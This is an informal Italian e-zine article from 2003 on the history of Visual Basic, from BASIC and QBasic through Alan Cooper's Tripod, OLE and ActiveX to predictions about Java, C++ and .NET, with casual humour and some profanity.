 chiedetemelo e allora spinto dalla vostra curiosità elaborerò qualcosa.
 
 Luigi << Dopo l'esperienza del BASIC fu un gioco da ragazzi passare
          al Q-BASIC... il pregio di questo programma era la presenza
          dell'help [...] sinceramente bastò dare una piccola occhiata
          ai comandi con la descrizione vicino per poter capire di 
          cosa si trattava... [...] e di come si potesse sviluppare una
          applicazione[...] >>
 Unrelated << papà sai ora in vb.. ci stanno delle user che posso
              eseguire per poter far fare direttamente delle cose
              al computer... senza doverle programmare de tutto..
              capito? Cioè in queste piattaforma ci stavano cose
              simili?>>
 Luigi << Credo intendi la finestra immediato.. beh si ci stavano alcune
          cose che si potevano verificare direttamente... potevi fare
          anche delle piccole musichette solamente scrivendo play e le
          lettere legate alla musica... diciamo che in quella finestra
          testavo tutte le stringhe direttamente in BASIC per poi
          passarle nel programma...>>
 
 Non  mi  dilungo  troppo  dicendo  solamente che per chi vuole provare
 questo programma rivivendo lo spirito dei programmatori anni 70 lo può
 sicuramente trovare in internet... :D ma negli anni  90  si incominciò
 a sviluppare la moda della programmazione a oggetti...

---< Alan Cooper e la sua creatura Tripod >-----------------------------
 Un piccolo programmatore  diciamo  "amico" di Bill incomiciò nella sua 
 piccola casupola a farsi frullare qualcosa in testa...     era il 1988
 quando Bill Gates decise di comprare l'idea di Cooper e di svilupparla
 per conto suo sotto il nome di "Thunder"... nella finestra degli About
 fino al VB3.0 c'era il riconoscimento ke parte del codice era prodotto
 dalla CooperSoftware...

---< Le fatiche di Bill e del Thunder >---------------------------------
 Il  padre del VB non ebbe vita facile nelle mani di Bill,  infatti dopo
 tre  anni  di  elaborazione di Tripod o Thunder... si  incomiciarono  a 
 vedere i primi risultati...  e il primo vb fece la  sua comparsa nei  +
 bei  negozi  di  informatica... so  nuovo   piattaforma  nuova.      :)
 I primi  concetti  primordiali del linguaggio  basic  furono  rinnovati
 e  presentati  sotto  una  nuova  luce...  altro che C o Java...  il vb 
 fu una specie di manna venuta dal cielo... accorsa  in   aiuto dei poco
 sapienti,  in totale contrasto coi dotti del linguaggio puro..  che per 
 nessun motivo insegnavano la loro arte... VB,C++,Object Pascal e  altri
 introdussero un nuovo modo di pensare...

---< Piattaforma di Sviluppo VISUAL BASIC >-----------------------------
---< Questione OO e codice fresco >------------------------------------- 
 Eh  è una domanda abbastanza complessa...diciamo che visual basic ha la
 possibilità di racchiudere in un oggetto dati e codice... ma non ci sta
 la pratica possibilità di abilitare l'object-based...  se  in Java e in 
 altri linguaggi noi possiamo vedere  fattibilmente  la  possibilità  di 
 produrre del linguaggio fresco,in VB la cosa è applicabile, ma  destino
 perde semplicità  e si  rifugia  nella  scrittura  di  subclassi  molto 
 diffici  da  sviluppare  e  molto  lunghe  in  quantitativo di tempo...
 in quanto poi si devono richiamare tutti i metodi della sotto classe...
  molti credono che dal punto di vista tecnico il vb sia  un  linguaggio
 chiuso... io, nonostante tutto non lo credo,  anche  se  da  molti  non
 è   considerato  un   linguaggio  Object  Oriented..  offre  moltissime
 disponibilità  di codice  e  di  applicativi...  esistono  in  internet 
 svariate community di programmatori che  con  la  procedura  "dammi una 
 mano  tu  che  io   ti  do  la  mia"   arrivano a ottimi risultati!! :)
 A volte in lunghe applicazioni gestionali  e  vi  parlo  di  esperienza
 personale... il codice anche se  è molto  ripetitivo  io  per  esigenze
 temporali... (cioè se per tot tempo  non  consegni  non ti pago)...  ho
 usufruito un casino di codici free presi da altre  parti...  quindi  il 
 problema  del codice fresco è del tutto risolto la stessa cosa equivale
 per OO..

---< Cute&Paste >-------------------------------------------------------
 Ricordiamo che ora stanno uscendo pure applicativi che sostituiscono il
 vero  Cute&Paste e  che quindi  permettono  diciamo  di  programmare il 
 codice più facilemente..

---< Networking >-------------------------------------------------------
 Nei primi  VB  l'idea  di  networking  non  era ancora sviluppata anche 
 perchè credo non ci siano stati computer collegati tramite LAN ,  nelle
 ultime versioni si è prestata molta più attenzione a queste possibilità
 Ricordo con stupore leggendo una vecchia zine  degli  SPP  ke  /Master\
 il re del VB in quella crew, proponeva come  novità assoluta il WinSock
 da aggiungere come oggetto al VB...   hihih  che  bei  tempi  quelli!!!

---< OLE&ActiveX >------------------------------------------------------
 All'inizio fu creato il pesantissimo OLE (Object linking and embedding)
 e diciamo che è usato in funzioni dove viene  richieduto molto  codice
 che quindi  viene direttamente importato senza che venga  riscritto  di
 nuovo... ma  questo metodo richiede  moltissime  interfacce  quindi  IL
 Bill volendo  mettere una pezza  a  questo buco  invento l'ActiveX... i 
 controlli  ActiveX richiedono un numero mooolto inferiore di interfacce
 ed di  seguito il codice è di minor portata...     diciamo  che  questi 
 controlli è come se fossero delle applet...

---< Leggi di Mercato >-------------------------------------------------
 Purtroppo molti applicativi sviluppati in diversi windows di solito non
 sono quasi mai compatibili tra di solo...      ciò costringe l'utente a 
 tenersi sempre aggiornato... anche se ora con XP dopo 3.1,95,98,98se,NT
 ,2000, ME, CE...    qualcosa sembra cambiare :D ma forse è solo una mia
 impressione... diciamo che questo è spiegabile forse dal fatto  che  il 
 VB è un linguaggio interprete  ed  oltre  ad  essere  più lento di  uno 
 nativo si appoggia su delle basi che non sono sempre  le  stesse...  un
 esempio di un linguaggio non interpretato  ma  complilato  è il  C++...

---< Previsioni >-------------------------------------------------------
 Finchè ci sono sviluppatori windows e quindi sistemi operativi windows,
 il problema non si pone... le previsioni sono  chiare  e  appartengono
 alla storia.. il visual basic sarà continuo di  work up e altro finchè
 non verrà un nuovo Cooper con un'altra brillante idea che il nipote di
 BillIII comprerà e balle varie... in contemporanea possiamo  prevedere
 un crescita del linguaggio Java o del C++ diciamo di stesso  stile  di
 programmazione... ma sinceramente anche se  il java è  più  facile,  è
 meglio per chi è stufo del vb  il c++ anche per estendere il codice in
 altre piattaforme... :D

 Cazzo di linguaggio .NET, pubblicità della minchia, guadagni di merda.

Spero di essere stato molto sintetico ma allo stesso tempo comprensibile
nel descrivervi circa 50 anni di storia... :)  ciao...  alla prossima...
saluto tutti i raga della crew...      PLEASE TROVATEMI UNA FIDANZATA :(
e fate pure un'altra cosa trovatemi un  formattatore di testo perchè ho
le palle così OO a furia di giustificare i miei tutor... :( 


--< unrelated at libero dot it >----------------------------------------
--------------------------------------¤ Lord Unrelated Lodeguns ¤-------
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••

++==================[Copyright Informazionelibera Crew 2003]=================++

++==================[ http://www.informazionelibera.cjb.net ]================++
++============================[In continuo progresso]========================++
...